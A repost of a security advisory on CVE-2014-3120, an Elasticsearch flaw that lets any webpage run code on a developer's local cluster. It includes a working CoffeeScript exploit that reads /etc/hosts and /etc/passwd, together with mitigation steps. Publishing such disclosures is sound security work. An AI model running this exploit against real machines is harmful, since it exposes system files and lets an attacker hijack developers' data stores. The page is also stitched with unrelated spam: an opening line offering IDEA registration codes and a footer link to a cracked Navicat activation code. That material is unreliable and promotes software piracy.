Insecure default in Elasticsearch enables remote code execution

Insecure default in Elasticsearch enables remote code execution

大家好,又见面了,我是全栈君,今天给大家准备了Idea注册码。

Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to execute arbitrary code on visitors with Elasticsearch installed. If you’re running Elasticsearch in development please read the instructions on how to secure your machine. Elasticsearch version 1.2 (which is unreleased as of writing) is not vulnerable to remote code execution, but still has some security concerns.

The problem(s)

There are a couple of problems which enable the proof of concept I’m going to present:

  • Elasticsearch has no access roles or authentication mechanism. This means that you have full control over a cluster the moment you connect to it.
  • The API for Elasticsearch is accessible over HTTP and provides no CSRF protection whatsoever.
  • It contains a feature which makes it possible to evaluate expressions as part of a query. An example usage of this feature is to specify a custom scoring function while searching through documents. It uses the MVEL language by default.
  • Up to version 1.2 dynamic scripting (which makes it possible to send scripts to the cluster on the fly) was enabled by default. As mentioned in the documentation, this feature gives someone the same priviliges as the user that runs Elasticsearch. MVEL has no sandboxing at all.

There are no issues up to this point as long as you properly follow the documentation and make sure your Elasticsearch cluster is not available from the outside world. There is one target that isn’t mentioned in the documentation though: The Developer! When you’re developing an application that uses Elasticsearch, you probably have it running on your machine. The default port is 9200 and because there is no CSRF protection any webpage can just connect to the cluster using localhost:9200 as the host.

PoC

The following script will read /etc/hosts and /etc/passwd from a user visiting a webpage and display the contents in the browser.

read_file = (filename) ->
  """
 import java.io.File;
 import java.util.Scanner;
 new Scanner(new File("#{filename}")).useDelimiter("\\\\Z").next();
 """

# This PoC assumes that there is at least one document stored in Elasticsearch, there are ways around that though
$ ->
  payload = {
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {}
  }

  for filename in ["/etc/hosts", "/etc/passwd"]
    payload["script_fields"][filename] = {"script": read_file(filename)}

  $.getJSON "http://localhost:9200/_search?source=#{encodeURIComponent(JSON.stringify(payload))}&callback=?", (data) ->
    console.log(data)
    for hit in data["hits"]["hits"]
      for filename, contents of hit["fields"]
        document.write("<h2>#{filename}</h2>")
        for content in contents
          document.write("<pre>" + content + "</pre>")
        document.write("<hr>")

You can verify whether you’re vulnerable by trying out the above PoC here.

There are many ways to exploit this, you could link the victim to the page or embed it as an Iframe. You can even exploit this by crafting a URL and using it as the src of an <img>, as the only thing that needs to happen is a single GET request. No user interaction required!

Because this is so easily exploitable you can mass-pwn developers with relatively little work.

How to secure against this vulnerability

Add the following line to your elasticsearch.yml to disable dynamic scripting and prevent remote code execution:

script.disable_dynamic: true

You should also make sure that your local Elasticsearch instance is only binding onlocalhost, as someone could exploit you over LAN without making you visit a webpage if you don’t. The Homebrew Elasticsearch formula does this automatically. This still means you’re vulnerable to the CSRF exploit though!

If you want to be as secure as possible, you should run Elasticsearch inside a virtual machine, to make sure it has no access to the hosting machine at all.

Additional targets

Disabling scripting will prevent code execution, but that still leaves us with the issue of being able to query and administer the instance without limit. A webpage can easily dump the whole database running on your machine, sensitive data included. This is impossible to fix by the Elasticsearch developers without adding authentication or CSRF protection.

If an attacker can figure out the internal address of your production Elasticsearch instance, you’re also open to leaking your production data. If your development machine is connected to a VPN which provides access to your Elasticsearch cluster, an attacker can easily query or shut down your cluster simply by making you visit a webpage.

Hackernews

Reddit

Notes

  • I have reserved CVE-2014-3120 for this issue.
  • This exploit was tested against Elasticsearch version 1.1.1 on MacOSX installed through Homebrew. No configuration changes were made.
  • I notified Elasticsearch through their security report instructions on the 26th of April 2014. They replied they were aware of it, but didn’t intend to do a security release and instead disable dynamic scripting by default in version 1.2.
  • This security issue has been indepently discovered and blogged about on December 9th 2013.
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/117522.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Java 删除文件以及文件夹删除不了的问题

    Java 删除文件以及文件夹删除不了的问题问题所在今天在编写一个项目,流程是先创建一个临时文件夹存放生成的文件,再经过压缩导出,待导出成功后删除临时文件夹,但是怎么也删除不了,还以为是写的删除方法有问题,找来找去,试了很多方法也删除不了本来以为是打包的流没关闭,但是发现流都是关闭的,后来发现,是在生成的方法里,直接newFileWriter出来的,没有关闭,在这里提醒一下,关于操作文件或者文件夹一定都会用到流,所以用到的流一…

    2022年6月7日
  • navicat 在线激活码(最新序列号破解)

    navicat 在线激活码(最新序列号破解),https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月18日
  • 固态硬盘坏了怎么恢复数据恢复不了_笔记本固态硬盘坏了数据能恢复吗

    固态硬盘坏了怎么恢复数据恢复不了_笔记本固态硬盘坏了数据能恢复吗今天的这篇经验和大家聊一聊关于固态硬盘坏了怎么恢复数据恢复的问题,希望能够帮助到有需要的朋友。方法/步骤 现在的电脑不用ssd简直对不起那么好的cpu,比较机械硬盘的速度才是目前整个电脑的性能瓶颈,而使用了ssd后,很多人都在说固态硬盘是不能恢复数据的,这是怎么回事呢?大家都知道传统的机械硬盘即便是数据删了,回收站清空了,只要不被大量的数据再次覆盖就可以恢复出原来的数据的,那么我什么这一点在ssd上不能用了呢?实测下来大多数默认的ssd数据丢失了都是10次有9次都恢复不了,为什么SSD的成…

    2022年9月17日
  • Android 5.0源码编译问题

    如果是自己通过repo和git直接从google官网上download的源码,请忽略这个问题,但是由于google在国内被限制登录,通过这一种方法不是每个人都能download下来源码,通常的做法就是

    2021年12月28日
  • 解决kafka无法删除topic问题

    解决kafka无法删除topic问题1.问题描述使用kafka命令删除某个topic之后,查看集群的topic列表时,被删除的tpoic依然存在#/data/kafka/bin/kafka-topics.sh–delete–zookeeperzook_ip–topicsystemTopicsystemismarkedfordeletion.Note:Thiswillhavenoimpactifdelete.topic.enableisnotsettotrue.[外链图片转存失败,

    2022年10月16日
  • FFmpeg的H.264解码器源代码简单分析:概述「建议收藏」

    FFmpeg的H.264解码器源代码简单分析:概述「建议收藏」本文简单记录FFmpeg中libavcodec的H.264解码器(H.264Decoder)的源代码。这个H.264解码器十分重要,可以说FFmpeg项目今天可以几乎“垄断”视音频编解码技术,很大一部分贡献就来自于这个H.264解码器。这个H.264解码器一方面功能强大,性能稳定;另一方面源代码也比较复杂,难以深入研究。本文打算梳理一下这个H.264解码器的源代码结构,以方便以后深入学习H.264使用。

    2022年6月22日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号